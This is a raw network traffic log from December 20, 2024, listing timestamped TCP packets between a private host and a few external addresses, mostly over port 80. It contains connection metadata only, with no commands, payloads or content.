Dec 20, 2024 07:12:31.521781921 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.521825075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.521867037 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.522950888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.523035049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.523081064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.524107933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.524210930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.524264097 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.525302887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.525347948 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.525408030 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.525456905 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.526483059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.526536942 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.526580095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.526627064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.527659893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.527709007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.527779102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.527832985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.528871059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.528920889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.528949022 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.528994083 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.530039072 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.530092955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.530184031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.530390978 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.531217098 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.531269073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.531317949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.531369925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.532366991 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.532417059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.582458973 CET	49822	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:31.582545996 CET	443	49822	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:31.582751989 CET	49822	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:31.583228111 CET	49822	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:31.583254099 CET	443	49822	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:31.660156965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.660234928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.660275936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.660275936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.660672903 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.660758018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.660785913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.660922050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.661842108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.661958933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.662098885 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.662098885 CET	49823	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:31.662126064 CET	443	49823	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:31.662282944 CET	49823	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:31.662451029 CET	49823	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:31.662463903 CET	443	49823	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:31.663047075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.663175106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.663189888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.663288116 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.664238930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.664288044 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.664331913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.664401054 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.665402889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.665446043 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.665561914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.665618896 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.666589022 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.666667938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.666682005 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.666800022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.670775890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.670955896 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.670964003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.671005011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.671335936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.671438932 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.671449900 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.671562910 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.672523022 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.672593117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.672595978 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.672640085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.673710108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.673790932 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.673814058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.673886061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.674916029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.675019979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.675029039 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.675106049 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.676070929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.676172018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.676192999 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.676232100 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.677309990 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.677372932 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.677381992 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.677504063 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.678467989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.678535938 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.678559065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.678647995 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.679640055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.679716110 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.679739952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.679862976 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.680866957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.680912971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.680949926 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.680949926 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.681988955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.682025909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.682094097 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.682156086 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.683187008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.683280945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.683293104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.683332920 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.684366941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.684463024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.684525013 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.685529947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.685620070 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.685662985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.685820103 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.686714888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.686764002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.686798096 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.686856031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.687947989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.687985897 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.688055038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.688443899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.689097881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.689166069 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.689249992 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.689297915 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.690285921 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.690335035 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.690396070 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.690536976 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.691494942 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.691510916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.691560030 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.692642927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.692729950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.692778111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.692836046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.693825006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.693873882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.693909883 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.693911076 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.695017099 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.695070982 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.695112944 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.695177078 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.696170092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.696249962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.696285009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.696348906 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.697371960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.697433949 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.697470903 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.697556973 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.698554039 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.698609114 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.698656082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.698720932 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.699738979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.699821949 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.699857950 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.699925900 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.700947046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.701044083 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.701070070 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.701117039 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.702155113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.702207088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.702223063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.702263117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.703305006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.703357935 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.703398943 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.703445911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.704479933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.704529047 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.704612970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.704771042 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.705646992 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.705725908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.705729961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.705771923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.706830978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.706934929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.706975937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.707075119 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.708031893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.708144903 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.708195925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.709203005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.709253073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.709311008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.709544897 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.710381031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.710449934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.710473061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.710489988 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.711585999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.711649895 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.711721897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.711776018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.712764025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.712874889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.712918997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.712961912 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.713948011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.714046001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.714099884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.715116978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.715188980 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.715231895 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.715231895 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.716311932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.716372967 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.716414928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.716520071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.717483997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.717592001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.717603922 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.717688084 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.718658924 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.718710899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.718713999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.718760967 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.719862938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.719933033 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.719965935 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.720246077 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.721043110 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.721107006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.721129894 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.721333981 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.722326040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.722349882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.722377062 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.722415924 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.723400116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.723443031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.723511934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.723603964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.724591017 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.724725962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.852107048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.852181911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.852189064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.852524042 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.852699995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.852792025 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.852823019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.852927923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.853894949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.853992939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.854006052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.854139090 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.855082035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.855154037 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.855165005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.855227947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.856317043 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.856391907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.856403112 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.856430054 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.857445955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.857572079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.857599974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.857625961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.858654976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.858724117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.858741999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.858815908 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.862772942 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.862878084 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.862967968 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.863147020 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.863244057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.863296986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.864310026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.864371061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.864439964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.865153074 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.865514040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.865633965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.865721941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.865900040 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.866682053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.866728067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.866800070 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.867470026 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.867851973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.868005037 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.868134022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.869091988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.869174957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.869194031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.869343996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.870238066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.870301962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.870326996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.870557070 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.871408939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.871464968 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.871520042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.871633053 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.872642994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.872689962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.872720957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.872862101 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.873774052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.873886108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.873897076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.873989105 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.874968052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.875029087 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.875147104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.875216007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.876163006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.876271963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.876368046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.877378941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.877505064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.877545118 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.877590895 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.878529072 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.878585100 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.878619909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.878743887 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.879684925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.879781961 CET	49801	80	192.168.2.4	31.41.244.11
